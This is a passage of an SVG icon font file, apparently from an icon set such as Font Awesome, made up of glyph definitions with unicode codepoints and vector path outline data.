q5 0 14.5 -0.5t38 -5t55 -12t61.5 -24.5t63 -39.5t54 -59t40 -82.5l102 177q2 4 21 42.5t44.5 86.5t61 109.5t84 133.5t100.5 137q66 82 128 141.5t121.5 96.5t92.5 53.5t88 39.5z" />
    <glyph glyph-name="uniF2B0" unicode="&#xf2b0;" 
d="M1322 640q0 -45 -5 -76l-236 14l224 -78q-19 -73 -58 -141l-214 103l177 -158q-44 -61 -107 -108l-157 178l103 -215q-61 -37 -140 -59l-79 228l14 -240q-38 -6 -76 -6t-76 6l14 238l-78 -226q-74 19 -140 59l103 215l-157 -178q-59 43 -108 108l178 158l-214 -104
q-39 69 -58 141l224 79l-237 -14q-5 42 -5 76q0 35 5 77l238 -14l-225 79q19 73 58 140l214 -104l-177 159q46 61 107 108l158 -178l-103 215q67 39 140 58l77 -224l-13 236q36 6 75 6q38 0 76 -6l-14 -237l78 225q74 -19 140 -59l-103 -214l158 178q61 -47 107 -108
l-177 -159l213 104q37 -62 58 -141l-224 -78l237 14q5 -31 5 -77zM1352 640q0 160 -78.5 295.5t-213 214t-292.5 78.5q-119 0 -227 -46.5t-186.5 -125t-124.5 -187.5t-46 -229q0 -119 46 -228t124.5 -187.5t186.5 -125t227 -46.5q158 0 292.5 78.5t213 214t78.5 294.5z
M1425 1023v-766l-657 -383l-657 383v766l657 383zM768 -183l708 412v823l-708 411l-708 -411v-823zM1536 1088v-896l-768 -448l-768 448v896l768 448z" />
    <glyph glyph-name="uniF2B1" unicode="&#xf2b1;" horiz-adv-x="1664" 
d="M339 1318h691l-26 -72h-665q-110 0 -188.5 -79t-78.5 -189v-771q0 -95 60.5 -169.5t153.5 -93.5q23 -5 98 -5v-72h-45q-140 0 -239.5 100t-99.5 240v771q0 140 99.5 240t239.5 100zM1190 1536h247l-482 -1294q-23 -61 -40.5 -103.5t-45 -98t-54 -93.5t-64.5 -78.5
t-79.5 -65t-95.5 -41t-116 -18.5v195q163 26 220 182q20 52 20 105q0 54 -20 106l-285 733h228l187 -585zM1664 978v-1111h-795q37 55 45 73h678v1038q0 85 -49.5 155t-129.5 99l25 67q101 -34 163.5 -123.5t62.5 -197.5z" />
    <glyph glyph-name="uniF2B2" unicode="&#xf2b2;" horiz-adv-x="1792" 
d="M852 1227q0 -29 -17 -52.5t-45 -23.5t-45 23.5t-17 52.5t17 52.5t45 23.5t45 -23.5t17 -52.5zM688 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50 -21.5t-20 -51.5v-114q0 -30 20.5 -52t49.5 -22q30 0 50.5 22t20.5 52zM860 -149v114q0 30 -20 51.5t-50 21.5t-50.5 -21.5
t-20.5 -51.5v-114q0 -30 20.5 -52t50.5 -22q29 0 49.5 22t20.5 52zM1034 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50.5 -21.5t-20.5 -51.5v-114q0 -30 20.5 -52t50.5 -22t50.5 22t20.5 52zM1208 -149v114q0 30 -20.5 51.5t-50.5 21.5t-50.5 -21.5t-20.5 -51.5v-114
q0 -30 20.5 -52t50.5 -22t50.5 22t20.5 52zM1476 535q-84 -160 -232 -259.5t-323 -99.5q-123 0 -229.5 51.5t-178.5 137t-113 197.5t-41 232q0 88 21 174q-104 -175 -104 -390q0 -162 65 -312t185 -251q30 57 91 57q56 0 86 -50q32 50 87 50q56 0 86 -50q32 50 87 50t87 -50
q30 50 86 50q28 0 52.5 -15.5t37.5 -40.5q112 94 177 231.5t73 287.5zM1326 564q0 75 -72 75q-17 0 -47 -6q-95 -19 -149 -19q-226 0 -226 243q0 86 30 204q-83 -127 -83 -275q0 -150 89 -260.5t235 -110.5q111 0 210 70q13 48 13 79zM884 1223q0 50 -32 89.5t-81 39.5
t-81 -39.5t-32 -89.5q0 -51 31.5 -90.5t81.5 -39.5t81.5 39.5t31.5 90.5zM1513 884q0 96 -37.5 179t-113 137t-173.5 54q-77 0 -149 -35t-127 -94q-48 -159 -48 -268q0 -104 45.5 -157t147.5 -53q53 0 142 19q36 6 53 6q51 0 77.5 -28t26.5 -80q0 -26 -4 -46
q75 68 117.5 165.5t42.5 200.5zM1792 667q0 -111 -33.5 -249.5t-93.5 -204.5q-58 -64 -195 -142.5t-228 -104.5l-4 -1v-114q0 -43 -29.5 -75t-72.5 -32q-56 0 -86 50q-32 -50 -87 -50t-87 50q-30 -50 -86 -50q-55 0 -87 50q-30 -50 -86 -50q-47 0 -75 33.5t-28 81.5
q-90 -68 -198 -68q-118 0 -211 80q54 1 106 20q-113 31 -182 127q32 -7 71 -7q89 0 164 46q-192 192 -240 306q-24 56 -24 160q0 57 9 125.5t31.5 146.5t55 141t86.5 105t120 42q59 0 81 -52q19 29 42 54q2 3 12 13t13 16q10 15 23 38t25 42t28 39q87 111 211.5 177
t260.5 66q35 0 62 -4q59 64 146 64q83 0 140 -57q5 -5 5 -12q0 -5 -6 -13.5t-12.5 -16t-16 -17l-10.5 -10.5q17 -6 36 -18t19 -24q0 -6 -16 -25q157 -138 197 -378q25 30 60 30q45 0 100 -49q90 -80 90 -279z" />
    <glyph glyph-name="uniF2B3" unicode="&#xf2b3;" 
d="M917 631q0 33 -6 64h-362v-132h217q-12 -76 -74.5 -120.5t-142.5 -44.5q-99 0 -169 71.5t-70 170.5t70 170.5t169 71.5q93 0 153 -59l104 101q-108 100 -257 100q-160 0 -272 -112.5t-112 -271.5t112 -271.5t272 -112.5q165 0 266.5 105t101.5 270zM1262 585h109v110
h-109v110h-110v-110h-110v-110h110v-110h110v110zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="uniF2B4" unicode="&#xf2b4;" 
d="M1536 1024v-839q0 -48 -49 -62q-174 -52 -338 -52q-73 0 -215.5 29.5t-227.5 29.5q-164 0 -370 -48v-338h-160v1368q-63 25 -101 81t-38 124q0 91 64 155t155 64t155 -64t64 -155q0 -68 -38 -124t-101 -81v-68q190 44 343 44q99 0 198 -15q14 -2 111.5 -22.5t149.5 -20.5
q77 0 165 18q11 2 80 21t89 19q26 0 45 -19t19 -45z" />
    <glyph glyph-name="uniF2B5" unicode="&#xf2b5;" horiz-adv-x="2304" 
d="M192 384q40 0 56 32t0 64t-56 32t-56 -32t0 -64t56 -32zM1665 442q-10 13 -38.5 50t-41.5 54t-38 49t-42.5 53t-40.5 47t-45 49l-125 -140q-83 -94 -208.5 -92t-205.5 98q-57 69 -56.5 158t58.5 157l177 206q-22 11 -51 16.5t-47.5 6t-56.5 -0.5t-49 -1q-92 0 -158 -66
l-158 -158h-155v-544q5 0 21 0.5t22 0t19.5 -2t20.5 -4.5t17.5 -8.5t18.5 -13.5l297 -292q115 -111 227 -111q78 0 125 47q57 -20 112.5 8t72.5 85q74 -6 127 44q20 18 36 45.5t14 50.5q10 -10 43 -10q43 0 77 21t49.5 53t12 71.5t-30.5 73.5zM1824 384h96v512h-93l-157 180
q-66 76 -169 76h-167q-89 0 -146 -67l-209 -243q-28 -33 -28 -75t27 -75q43 -51 110 -52t111 49l193 218q25 23 53.5 21.5t47 -27t8.5 -56.5q16 -19 56 -63t60 -68q29 -36 82.5 -105.5t64.5 -84.5q52 -66 60 -140zM2112 384q40 0 56 32t0 64t-56 32t-56 -32t0 -64t56 -32z
M2304 960v-640q0 -26 -19 -45t-45 -19h-434q-27 -65 -82 -106.5t-125 -51.5q-33 -48 -80.5 -81.5t-102.5 -45.5q-42 -53 -104.5 -81.5t-128.5 -24.5q-60 -34 -126 -39.5t-127.5 14t-117 53.5t-103.5 81l-287 282h-358q-26 0 -45 19t-19 45v672q0 26 19 45t45 19h421
q14 14 47 48t47.5 48t44 40t50.5 37.5t51 25.5t62 19.5t68 5.5h117q99 0 181 -56q82 56 181 56h167q35 0 67 -6t56.5 -14.5t51.5 -26.5t44.5 -31t43 -39.5t39 -42t41 -48t41.5 -48.5h355q26 0 45 -19t19 -45z" />
    <glyph glyph-name="uniF2B6" unicode="&#xf2b6;" horiz-adv-x="1792" 
d="M1792 882v-978q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v978q0 15 11 24q8 7 39 34.5t41.5 36t45.5 37.5t70 55.5t96 73t143.5 107t192.5 140.5q5 4 52.5 40t71.5 52.5t64 35t69 18.5t69 -18.5t65 -35.5t71 -52t52 -40q110 -80 192.5 -140.5t143.5 -107
t96 -73t70 -55.5t45.5 -37.5t41.5 -36t39 -34.5q11 -9 11 -24zM1228 297q263 191 345 252q11 8 12.5 20.5t-6.5 23.5l-38 52q-8 11 -21 12.5t-24 -6.5q-231 -169 -343 -250q-5 -3 -52 -39t-71.5 -52.5t-64.5 -35t-69 -18.5t-69 18.5t-64.5 35t-71.5 52.5t-52 39
q-186 134 -343 250q-11 8 -24 6.5t-21 -12.5l-38 -52q-8 -11 -6.5 -23.5t12.5 -20.5q82 -61 345 -252q10 -8 50 -38t65 -47t64 -39.5t77.5 -33.5t75.5 -11t75.5 11t79 34.5t64.5 39.5t65 47.5t48 36.5z" />
    <glyph glyph-name="uniF2B7" unicode="&#xf2b7;" horiz-adv-x="1792" 
d="M1474 623l39 -51q8 -11 6.5 -23.5t-11.5 -20.5q-43 -34 -126.5 -98.5t-146.5 -113t-67 -51.5q-39 -32 -60 -48t-60.5 -41t-76.5 -36.5t-74 -11.5h-1h-1q-37 0 -74 11.5t-76 36.5t-61 41.5t-60 47.5q-5 4 -65 50.5t-143.5 111t-122.5 94.5q-11 8 -12.5 20.5t6.5 23.5
l37 52q8 11 21.5 13t24.5 -7q94 -73 306 -236q5 -4 43.5 -35t60.5 -46.5t56.5 -32.5t58.5 -17h1h1q24 0 58.5 17t56.5 32.5t60.5 46.5t43.5 35q258 198 313 242q11 8 24 6.5t21 -12.5zM1664 -96v928q-90 83 -159 139q-91 74 -389 304q-3 2 -43 35t-61 48t-56 32.5t-59 17.5
h-1h-1q-24 0 -59 -17.5t-56 -32.5t-61 -48t-43 -35q-215 -166 -315.5 -245.5t-129.5 -104t-82 -74.5q-14 -12 -21 -19v-928q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1792 832v-928q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v928q0 56 41 94
q123 114 350 290.5t233 181.5q36 30 59 47.5t61.5 42t76 36.5t74.5 12h1h1q37 0 74.5 -12t76 -36.5t61.5 -42t59 -47.5q43 -36 156 -122t226 -177t201 -173q41 -38 41 -94z" />
    <glyph glyph-name="uniF2B8" unicode="&#xf2b8;" 
d="M330 1l202 -214l-34 236l-216 213zM556 -225l274 218l-11 245l-300 -215zM245 413l227 -213l-48 327l-245 204zM495 189l317 214l-14 324l-352 -200zM843 178l95 -80l-2 239l-103 79q0 -1 1 -8.5t0 -12t-5 -7.5l-78 -52l85 -70q7 -6 7 -88zM138 930l256 -200l-68 465
l-279 173zM1173 267l15 234l-230 -164l2 -240zM417 722l373 194l-19 441l-423 -163zM1270 357l20 233l-226 142l-2 -105l144 -95q6 -4 4 -9l-7 -119zM1461 496l30 222l-179 -128l-20 -228zM1273 329l-71 49l-8 -117q0 -5 -4 -8l-234 -187q-7 -5 -14 0l-98 83l7 -161
q0 -5 -4 -8l-293 -234q-4 -2 -6 -2q-8 2 -8 3l-228 242q-4 4 -59 277q-2 7 5 11l61 37q-94 86 -95 92l-72 351q-2 7 6 12l94 45q-133 100 -135 108l-96 466q-2 10 7 13l433 135q5 0 8 -1l317 -153q6 -4 6 -9l20 -463q0 -7 -6 -10l-118 -61l126 -85q5 -2 5 -8l5 -123l121 74
q5 4 11 0l84 -56l3 110q0 6 5 9l206 126q6 3 11 0l245 -135q4 -4 5 -7t-6.5 -60t-17.5 -124.5t-10 -70.5q0 -5 -4 -7l-191 -153q-6 -5 -13 0z" />
    <glyph glyph-name="uniF2B9" unicode="&#xf2b9;" horiz-adv-x="1664" 
d="M1201 298q0 57 -5.5 107t-21 100.5t-39.5 86t-64 58t-91 22.5q-6 -4 -33.5 -20.5t-42.5 -24.5t-40.5 -20t-49 -17t-46.5 -5t-46.5 5t-49 17t-40.5 20t-42.5 24.5t-33.5 20.5q-51 0 -91 -22.5t-64 -58t-39.5 -86t-21 -100.5t-5.5 -107q0 -73 42 -121.5t103 -48.5h576
q61 0 103 48.5t42 121.5zM1028 892q0 108 -76.5 184t-183.5 76t-183.5 -76t-76.5 -184q0 -107 76.5 -183t183.5 -76t183.5 76t76.5 183zM1664 352v-192q0 -14 -9 -23t-23 -9h-96v-224q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h1216
q66 0 113 -47t47 -113v-224h96q14 0 23 -9t9 -23v-192q0 -14 -9 -23t-23 -9h-96v-128h96q14 0 23 -9t9 -23v-192q0 -14 -9 -23t-23 -9h-96v-128h96q14 0 23 -9t9 -23z" />
    <glyph glyph-name="uniF2BA" unicode="&#xf2ba;" horiz-adv-x="1664" 
d="M1028 892q0 -107 -76.5 -183t-183.5 -76t-183.5 76t-76.5 183q0 108 76.5 184t183.5 76t183.5 -76t76.5 -184zM980 672q46 0 82.5 -17t60 -47.5t39.5 -67t24 -81t11.5 -82.5t3.5 -79q0 -67 -39.5 -118.5t-105.5 -51.5h-576q-66 0 -105.5 51.5t-39.5 118.5q0 48 4.5 93.5
t18.5 98.5t36.5 91.5t63 64.5t93.5 26h5q7 -4 32 -19.5t35.5 -21t33 -17t37 -16t35 -9t39.5 -4.5t39.5 4.5t35 9t37 16t33 17t35.5 21t32 19.5zM1664 928q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-128h96q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-128h96
q13 0 22.5 -9.5t9.5 -22.5v-192q0 -13 -9.5 -22.5t-22.5 -9.5h-96v-224q0 -66 -47 -113t-113 -47h-1216q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h1216q66 0 113 -47t47 -113v-224h96q13 0 22.5 -9.5t9.5 -22.5v-192zM1408 -96v1472q0 13 -9.5 22.5t-22.5 9.5h-1216
q-13 0 -22.5 -9.5t-9.5 -22.5v-1472q0 -13 9.5 -22.5t22.5 -9.5h1216q13 0 22.5 9.5t9.5 22.5z" />
    <glyph glyph-name="uniF2BB" unicode="&#xf2bb;" horiz-adv-x="2048" 
d="M1024 405q0 64 -9 117.5t-29.5 103t-60.5 78t-97 28.5q-6 -4 -30 -18t-37.5 -21.5t-35.5 -17.5t-43 -14.5t-42 -4.5t-42 4.5t-43 14.5t-35.5 17.5t-37.5 21.5t-30 18q-57 0 -97 -28.5t-60.5 -78t-29.5 -103t-9 -117.5t37 -106.5t91 -42.5h512q54 0 91 42.5t37 106.5z
M867 925q0 94 -66.5 160.5t-160.5 66.5t-160.5 -66.5t-66.5 -160.5t66.5 -160.5t160.5 -66.5t160.5 66.5t66.5 160.5zM1792 416v64q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM1792 676v56q0 15 -10.5 25.5t-25.5 10.5h-568
q-15 0 -25.5 -10.5t-10.5 -25.5v-56q0 -15 10.5 -25.5t25.5 -10.5h568q15 0 25.5 10.5t10.5 25.5zM1792 928v64q0 14 -9 23t-23 9h-576q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h576q14 0 23 9t9 23zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-352v96q0 14 -9 23t-23 9
h-64q-14 0 -23 -9t-9 -23v-96h-768v96q0 14 -9 23t-23 9h-64q-14 0 -23 -9t-9 -23v-96h-352q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2BC" unicode="&#xf2bc;" horiz-adv-x="2048" 
d="M1024 405q0 -64 -37 -106.5t-91 -42.5h-512q-54 0 -91 42.5t-37 106.5t9 117.5t29.5 103t60.5 78t97 28.5q6 -4 30 -18t37.5 -21.5t35.5 -17.5t43 -14.5t42 -4.5t42 4.5t43 14.5t35.5 17.5t37.5 21.5t30 18q57 0 97 -28.5t60.5 -78t29.5 -103t9 -117.5zM867 925
q0 -94 -66.5 -160.5t-160.5 -66.5t-160.5 66.5t-66.5 160.5t66.5 160.5t160.5 66.5t160.5 -66.5t66.5 -160.5zM1792 480v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM1792 732v-56q0 -15 -10.5 -25.5t-25.5 -10.5h-568
q-15 0 -25.5 10.5t-10.5 25.5v56q0 15 10.5 25.5t25.5 10.5h568q15 0 25.5 -10.5t10.5 -25.5zM1792 992v-64q0 -14 -9 -23t-23 -9h-576q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h576q14 0 23 -9t9 -23zM1920 32v1216q0 13 -9.5 22.5t-22.5 9.5h-1728q-13 0 -22.5 -9.5
t-9.5 -22.5v-1216q0 -13 9.5 -22.5t22.5 -9.5h352v96q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-96h768v96q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-96h352q13 0 22.5 9.5t9.5 22.5zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-1728q-66 0 -113 47t-47 113v1216q0 66 47 113
t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2BD" unicode="&#xf2bd;" horiz-adv-x="1792" 
d="M1523 197q-22 155 -87.5 257.5t-184.5 118.5q-67 -74 -159.5 -115.5t-195.5 -41.5t-195.5 41.5t-159.5 115.5q-119 -16 -184.5 -118.5t-87.5 -257.5q106 -150 271 -237.5t356 -87.5t356 87.5t271 237.5zM1280 896q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5
t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5zM1792 640q0 -182 -71 -347.5t-190.5 -286t-285.5 -191.5t-349 -71q-182 0 -348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2BE" unicode="&#xf2be;" horiz-adv-x="1792" 
d="M896 1536q182 0 348 -71t286 -191t191 -286t71 -348q0 -181 -70.5 -347t-190.5 -286t-286 -191.5t-349 -71.5t-349 71t-285.5 191.5t-190.5 286t-71 347.5t71 348t191 286t286 191t348 71zM1515 185q149 205 149 455q0 156 -61 298t-164 245t-245 164t-298 61t-298 -61
t-245 -164t-164 -245t-61 -298q0 -250 149 -455q66 327 306 327q131 -128 313 -128t313 128q240 0 306 -327zM1280 832q0 159 -112.5 271.5t-271.5 112.5t-271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5z" />
    <glyph glyph-name="uniF2C0" unicode="&#xf2c0;" 
d="M1201 752q47 -14 89.5 -38t89 -73t79.5 -115.5t55 -172t22 -236.5q0 -154 -100 -263.5t-241 -109.5h-854q-141 0 -241 109.5t-100 263.5q0 131 22 236.5t55 172t79.5 115.5t89 73t89.5 38q-79 125 -79 272q0 104 40.5 198.5t109.5 163.5t163.5 109.5t198.5 40.5
t198.5 -40.5t163.5 -109.5t109.5 -163.5t40.5 -198.5q0 -147 -79 -272zM768 1408q-159 0 -271.5 -112.5t-112.5 -271.5t112.5 -271.5t271.5 -112.5t271.5 112.5t112.5 271.5t-112.5 271.5t-271.5 112.5zM1195 -128q88 0 150.5 71.5t62.5 173.5q0 239 -78.5 377t-225.5 145
q-145 -127 -336 -127t-336 127q-147 -7 -225.5 -145t-78.5 -377q0 -102 62.5 -173.5t150.5 -71.5h854z" />
    <glyph glyph-name="uniF2C1" unicode="&#xf2c1;" horiz-adv-x="1280" 
d="M1024 278q0 -64 -37 -107t-91 -43h-512q-54 0 -91 43t-37 107t9 118t29.5 104t61 78.5t96.5 28.5q80 -75 188 -75t188 75q56 0 96.5 -28.5t61 -78.5t29.5 -104t9 -118zM870 797q0 -94 -67.5 -160.5t-162.5 -66.5t-162.5 66.5t-67.5 160.5t67.5 160.5t162.5 66.5
t162.5 -66.5t67.5 -160.5zM1152 -96v1376h-1024v-1376q0 -13 9.5 -22.5t22.5 -9.5h960q13 0 22.5 9.5t9.5 22.5zM1280 1376v-1472q0 -66 -47 -113t-113 -47h-960q-66 0 -113 47t-47 113v1472q0 66 47 113t113 47h352v-96q0 -14 9 -23t23 -9h192q14 0 23 9t9 23v96h352
q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C2" unicode="&#xf2c2;" horiz-adv-x="2048" 
d="M896 324q0 54 -7.5 100.5t-24.5 90t-51 68.5t-81 25q-64 -64 -156 -64t-156 64q-47 0 -81 -25t-51 -68.5t-24.5 -90t-7.5 -100.5q0 -55 31.5 -93.5t75.5 -38.5h426q44 0 75.5 38.5t31.5 93.5zM768 768q0 80 -56 136t-136 56t-136 -56t-56 -136t56 -136t136 -56t136 56
t56 136zM1792 288v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM1408 544v64q0 14 -9 23t-23 9h-320q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h320q14 0 23 9t9 23zM1792 544v64q0 14 -9 23t-23 9h-192q-14 0 -23 -9t-9 -23
v-64q0 -14 9 -23t23 -9h192q14 0 23 9t9 23zM1792 800v64q0 14 -9 23t-23 9h-704q-14 0 -23 -9t-9 -23v-64q0 -14 9 -23t23 -9h704q14 0 23 9t9 23zM128 1152h1792v96q0 14 -9 23t-23 9h-1728q-14 0 -23 -9t-9 -23v-96zM2048 1248v-1216q0 -66 -47 -113t-113 -47h-1728
q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C3" unicode="&#xf2c3;" horiz-adv-x="2048" 
d="M896 324q0 -55 -31.5 -93.5t-75.5 -38.5h-426q-44 0 -75.5 38.5t-31.5 93.5q0 54 7.5 100.5t24.5 90t51 68.5t81 25q64 -64 156 -64t156 64q47 0 81 -25t51 -68.5t24.5 -90t7.5 -100.5zM768 768q0 -80 -56 -136t-136 -56t-136 56t-56 136t56 136t136 56t136 -56t56 -136z
M1792 352v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23 -9t9 -23zM1408 608v-64q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h320q14 0 23 -9t9 -23zM1792 608v-64q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v64
q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 864v-64q0 -14 -9 -23t-23 -9h-704q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h704q14 0 23 -9t9 -23zM1920 32v1120h-1792v-1120q0 -13 9.5 -22.5t22.5 -9.5h1728q13 0 22.5 9.5t9.5 22.5zM2048 1248v-1216q0 -66 -47 -113t-113 -47
h-1728q-66 0 -113 47t-47 113v1216q0 66 47 113t113 47h1728q66 0 113 -47t47 -113z" />
    <glyph glyph-name="uniF2C4" unicode="&#xf2c4;" horiz-adv-x="1792" 
d="M1255 749q0 318 -105 474.5t-330 156.5q-222 0 -326 -157t-104 -474q0 -316 104 -471.5t326 -155.5q74 0 131 17q-22 43 -39 73t-44 65t-53.5 56.5t-63 36t-77.5 14.5q-46 0 -79 -16l-49 97q105 91 276 91q132 0 215.5 -54t150.5 -155q67 149 67 402zM1645 117h117
q3 -27 -2 -67t-26.5 -95t-58 -100.5t-107 -78t-162.5 -32.5q-71 0 -130.5 19t-105.5 56t-79 78t-66 96q-97 -27 -205 -27q-150 0 -292.5 58t-253 158.5t-178 249t-67.5 317.5q0 170 67.5 319.5t178.5 250.5t253.5 159t291.5 58q121 0 238.5 -36t217 -106t176 -164.5
t119.5 -219t43 -261.5q0 -190 -80.5 -347.5t-218.5 -264.5q47 -70 93.5 -106.5t104.5 -36.5q61 0 94 37.5t38 85.5z" />
    <glyph glyph-name="uniF2C5" unicode="&#xf2c5;" horiz-adv-x="2304" 
d="M453 -101q0 -21 -16 -37.5t-37 -16.5q-1 0 -13 3q-63 15 -162 140q-225 284 -225 676q0 341 213 614q39 51 95 103.5t94 52.5q19 0 35 -13.5t16 -32.5q0 -27 -63 -90q-98 -102 -147 -184q-119 -199 -119 -449q0 -281 123 -491q50 -85 136 -173q2 -3 14.5 -16t19.5 -21
t17 -20.5t14.5 -23.5t4.5 -21zM1796 33q0 -29 -17.5 -48.5t-46.5 -19.5h-1081q-26 0 -45 19t-19 45q0 29 17.5 48.5t46.5 19.5h1081q26 0 45 -19t19 -45zM1581 644q0 -134 -67 -233q-25 -38 -69.5 -78.5t-83.5 -60.5q-16 -10 -27 -10q-7 0 -15 6t-8 12q0 9 19 30t42 46
t42 67.5t19 88.5q0 76 -35 130q-29 42 -46 42q-3 0 -3 -5q0 -12 7.5 -35.5t7.5 -36.5q0 -22 -21.5 -35t-44.5 -13q-66 0 -66 76q0 15 1.5 44t1.5 44q0 25 -10 46q-13 25 -42 53.5t-51 28.5q-5 0 -7 -0.5t-3.5 -2.5t-1.5 -6q0 -2 16 -26t16 -54q0 -37 -19 -68t-46 -54
t-53.5 -46t-45.5 -54t-19 -68q0 -98 42 -160q29 -43 79 -63q16 -5 17 -10q1 -2 1 -5q0 -16 -18 -16q-6 0 -33 11q-119 43 -195 139.5t-76 218.5q0 55 24.5 115.5t60 115t70.5 108.5t59.5 113.5t24.5 111.5q0 53 -25 94q-29 48 -56 64q-19 9 -19 21q0 20 41 20q50 0 110 -29
q41 -19 71 -44.5t49.5 -51t33.5 -62.5t22 -69t16 -80q0 -1 3 -17.5t4.5 -25t5.5 -25t9 -27t11 -21.5t14.5 -16.5t18.5 -5.5q23 0 37 14t14 37q0 25 -20 67t-20 52t10 10q27 0 93 -70q72 -76 102.5 -156t30.5 -186zM2304 615q0 -274 -138 -503q-19 -32 -48 -72t-68 -86.5
t-81 -77t-74 -30.5q-16 0 -31 15.5t-15 31.5q0 15 29 50.5t68.5 77t48.5 52.5q183 230 183 531q0 131 -20.5 235t-72.5 211q-58 119 -163 228q-2 3 -13 13.5t-16.5 16.5t-15 17.5t-15 20t-9.5 18.5t-4 19q0 19 16 35.5t35 16.5q70 0 196 -169q98 -131 146 -273t60 -314
q2 -42 2 -64z" />
    <glyph glyph-name="uniF2C6" unicode="&#xf2c6;" horiz-adv-x="1792" 
d="M1189 229l147 693q9 44 -10.5 63t-51.5 7l-864 -333q-29 -11 -39.5 -25t-2.5 -26.5t32 -19.5l221 -69l513 323q21 14 32 6q7 -5 -4 -15l-415 -375v0v0l-16 -228q23 0 45 22l108 104l224 -165q64 -36 81 38zM1792 640q0 -182 -71 -348t-191 -286t-286 -191t-348 -71
t-348 71t-286 191t-191 286t-71 348t71 348t191 286t286 191t348 71t348 -71t286 -191t191 -286t71 -348z" />
    <glyph glyph-name="uniF2C7" unicode="&#xf2c7;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v907h128v-907q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2C8" unicode="&#xf2c8;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v651h128v-651q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2C9" unicode="&#xf2c9;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v395h128v-395q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
t93.5 226.5zM896 192q0 -185 -131.5 -316.5t-316.5 -131.5t-316.5 131.5t-131.5 316.5q0 182 128 313v711q0 133 93.5 226.5t226.5 93.5t226.5 -93.5t93.5 -226.5v-711q128 -131 128 -313zM1024 768v-128h-192v128h192zM1024 1024v-128h-192v128h192zM1024 1280v-128h-192
v128h192z" />
    <glyph glyph-name="uniF2CA" unicode="&#xf2ca;" horiz-adv-x="1024" 
d="M640 192q0 -80 -56 -136t-136 -56t-136 56t-56 136q0 60 35 110t93 71v139h128v-139q58 -21 93 -71t35 -110zM768 192q0 77 -34 144t-94 112v768q0 80 -56 136t-136 56t-136 -56t-56 -136v-768q-60 -45 -94 -112t-34 -144q0 -133 93.5 -226.5t226.5 -93.5t226.5 93.5
